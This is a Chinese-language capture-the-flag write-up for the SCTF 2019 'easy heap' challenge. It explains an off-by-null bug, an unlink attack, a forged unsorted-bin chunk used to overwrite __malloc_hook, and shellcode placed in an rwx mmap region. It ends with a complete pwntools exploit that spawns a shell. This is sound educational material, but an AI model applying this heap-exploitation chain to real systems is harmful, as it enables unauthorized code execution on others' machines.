sctf 2019 easy heap Write Up

概略

这道题属于典型的菜单题,但是不提供show的功能,整个逻辑中,只存在一个off-by-null的漏洞。比较值得在意的是,程序的开始,利用mmap分配了一块拥有可读可写可执行权限的内存区域,并将该区域的地址打印出来,同时程序调用alloc功能的同时也会打印出了存放堆指针与size的数组。

程序开头泄露了数组的地址,即可以获得一个指针, 该指针指向堆上一块malloc出来的内存,外加上off-by-null的漏洞,自然而然的可以利用unlink攻击,使得bss段上的内存可控(任意写)。

由于没有提供show的功能,比较难泄露libc的偏移,这里采用的利用是利用unsorted bin的头结点与尾节点的fdbk存放着main_arena + 0x58,而__malloc_hook的地址为main_arena - 0x10,因此想办法在bss段中伪造一个unsorted bin的chunk并将其free, 会在bss段中残留下一个main_arena + 0x58的地址,再修改该地址的低位(程序载入偏移是页对齐的,也就是说main_arena__malloc_hook地址的低12位是固定的),即可获得一个指向__malloc_hook的指针,再利用fill功能在__malloc_hook中填上开头获得的mmap的地址,在mmap内填充上shellcode,最后调用malloc即可get shell

二进制文件分析

buuoj 上说 靶机环境是ubuntu 18, 一般来说这个环境使用的libc是2.27

关于libc的讨论可以看下下面的博文,有挺大的帮助

https://surager.pub/_posts/2021-05-11-x86架构下pwn题目libc概述/

mmap

sctf 2019 easy heap Write Up

程序在开头处,使用mmap分配了一块0x1000大小,权限为rwx的内存区域,并将其地址打印出来

alloc

sctf 2019 easy heap Write Up

根据读入的size分配相应大小的chunk, 再将返回的指针与size填入array数组,最后将array数组的地址打印出来(unlink利用)

delete

sctf 2019 easy heap Write Up

读取输入后,free掉相应的堆块,同时清空array数组中对应得项

fill

sctf 2019 easy heap Write Up

fill本身没有什么特别得,特别之处在于,其中用来读取输入得函数存在off-by-null得漏洞

sctf 2019 easy heap Write Up

至此,构造unlink漏洞得条件满足

解题思路

程序开头泄露了数组的地址,即可以获得一个指针, 该指针指向堆上一块malloc出来的内存,外加上off-by-null的漏洞,自然而然的可以利用unlink攻击,使得bss段上的内存可控(任意写)。

由于没有提供show的功能,比较难泄露libc的偏移,这里采用的利用是利用unsorted bin的头结点与尾节点的fdbk存放着main_arena + 0x58,而__malloc_hook的地址为main_arena - 0x10,因此想办法在bss段中伪造一个unsorted bin的chunk并将其free, 会在bss段中残留下一个main_arena + 0x58的地址,再修改该地址的低位(程序载入偏移是页对齐的,也就是说main_arena__malloc_hook地址的低12位是固定的),即可获得一个指向__malloc_hook的指针,再利用fill功能在__malloc_hook中填上开头获得的mmap的地址,在mmap内填充上shellcode,最后调用malloc即可get shell

几个比较需要注意的点,由于libc版本为2.27, 引入了tcache机制,分配unsorted bin时得chunk size不宜过小,否则其free后会进入tcache构成单向链表,因此有两种方法,一个是申请较大得chunk size(比如0x4F8) 或者申请7个chunk后free,填充满tcache链表,之后free得相同大小得chunk会进入fastbin或者unsorted bin

整体流程

  1. 申请3个0x4F8大小得chunk,在第一个chunk内构造一个fake chunk, 并且由于array数组是存放在bss段上的,而alloc会返回array数组得地址,因此可以计算出程序载入得偏移program_base, fake chunk得构造为

    payload = p64(0) + p64(0x4F1) + p64(program_base + 0x202068 -0x18) + p64(program_base + 0x202068 - 0x10) + p8(0)*0x4d0 + p64(0x4F0)
    fill(0,payload)
    delete(1)
    

    删除idx1chunk,由于其PREV_INUSE位为0,前一块为空闲块且两个块的大小位于unsorted bin内,触发unlink

    此时使用gdb调试发现array数组的idx为1处的地址值已经变为了&array - 0x10的地址

    sctf 2019 easy heap Write Up

  2. 此时可以实现array数组内容的完全可控,再通过fill功能即可实现任意地址写,首先填入mmap的地址,然后再填入program_base +0x202068 + 0x38的地址(即指向后续构造的fake_chunk的区块空间),然后再在array数组内构造一个位于unsorted bin中的fake chunk

    payload = p64(0)*2 + p64(0x4f8) + p64(program_base+0x202068 - 0x18) + p64(0x500) + p64(mmap_addr)
    payload += p64(0x500) + p64(program_base + 0x202068 + 0x38)
    fake_chunk = p64(0x20)+p64(0x91)+p64(0)*17+p64(0x21)*5
    payload += fake_chunk
    fill(0,payload)
    

    sctf 2019 easy heap Write Up

  3. mmap区域内填充shellcode,delete掉fake chunk

    fill(0,payload)
    fill(1,asm(shellcraft.sh()))
    delete(2)
    

    sctf 2019 easy heap Write Up

  4. 修改main_arena+0x58main_arena + 0x10即将其最后一字节改为0x30

    payload = p64(0)*0xa + p64(400) + p8(0x30)
    fill(0,payload)
    

    sctf 2019 easy heap Write Up

  5. 最后在__malloc_hook中填入mmap的地址 并调用alloc功能

exp

from pwn import *


def alloc(size):
    sh.sendlineafter(b‘>> ‘,b‘1‘)
    sh.sendlineafter(b‘: ‘,str(size).encode(‘utf-8‘))
    a=sh.recvline()
    addr = int(a[-13:-1],16)
    return addr
def fill(idx,content):
    sh.sendlineafter(b‘>> ‘,b‘3‘)
    sh.sendlineafter(b‘: ‘,str(idx).encode(‘utf-8‘))
    sh.sendlineafter(b‘: ‘,content)
def delete(idx):
    sh.sendlineafter(b‘>> ‘,b‘2‘)
    sh.sendlineafter(b‘: ‘,str(idx).encode(‘utf-8‘))    
sh = process(‘./easy_heap_pwn‘)
context.arch = "amd64"
libc = ELF(‘./bc.so.6‘)
# sh = remote(‘node4.buuoj.cn‘,27589)
a=sh.recvline()
mmap_addr = int(a[-13:-1].decode(‘utf-8‘),16)
print(hex(mmap_addr))

#construct unlink
for i in range(7):
    alloc(0x80)
for i in range(7):
    delete(i)
program_base = alloc(0x4F8) - 0x202068 #0 unsorted bin
print(hex(program_base))
print(hex(program_base + 0x202060))
alloc(0x4F8) #1
alloc(0x4F8) #2
payload = p64(0) + p64(0x4F1) + p64(program_base + 0x202068 -0x18) + p64(program_base + 0x202068 - 0x10) + p8(0)*0x4d0 + p64(0x4F0)
fill(0,payload)
delete(1)

#construct fake chunk & fill mmap area & getshell  
payload = p64(0)*2 + p64(0x4f8) + p64(program_base+0x202068 - 0x18) + p64(0x500) + p64(mmap_addr)
payload += p64(0x500) + p64(program_base + 0x202068 + 0x38)
fake_chunk = p64(0x20)+p64(0x91)+p64(0)*17+p64(0x21)*5

payload += fake_chunk
fill(0,payload)
fill(1,asm(shellcraft.sh()))
delete(2)



payload = p64(0)*0xa + p64(400) + p8(0x30)
fill(0,payload)
gdb.attach(sh)
# payload+=
fill(4,p64(mmap_addr))
# gdb.attach(sh)

sh.interactive()

参考链接

  1. https://surager.pub/_posts/2021-05-11-x86架构下pwn题目libc概述/
  2. https://www.wolai.com/ctfhub/ofXoq2TpGBw9D5ASXjb6xS

sctf 2019 easy heap Write Up

上一篇:temp


下一篇:20155229《网络对抗技术》Exp4:恶意代码分析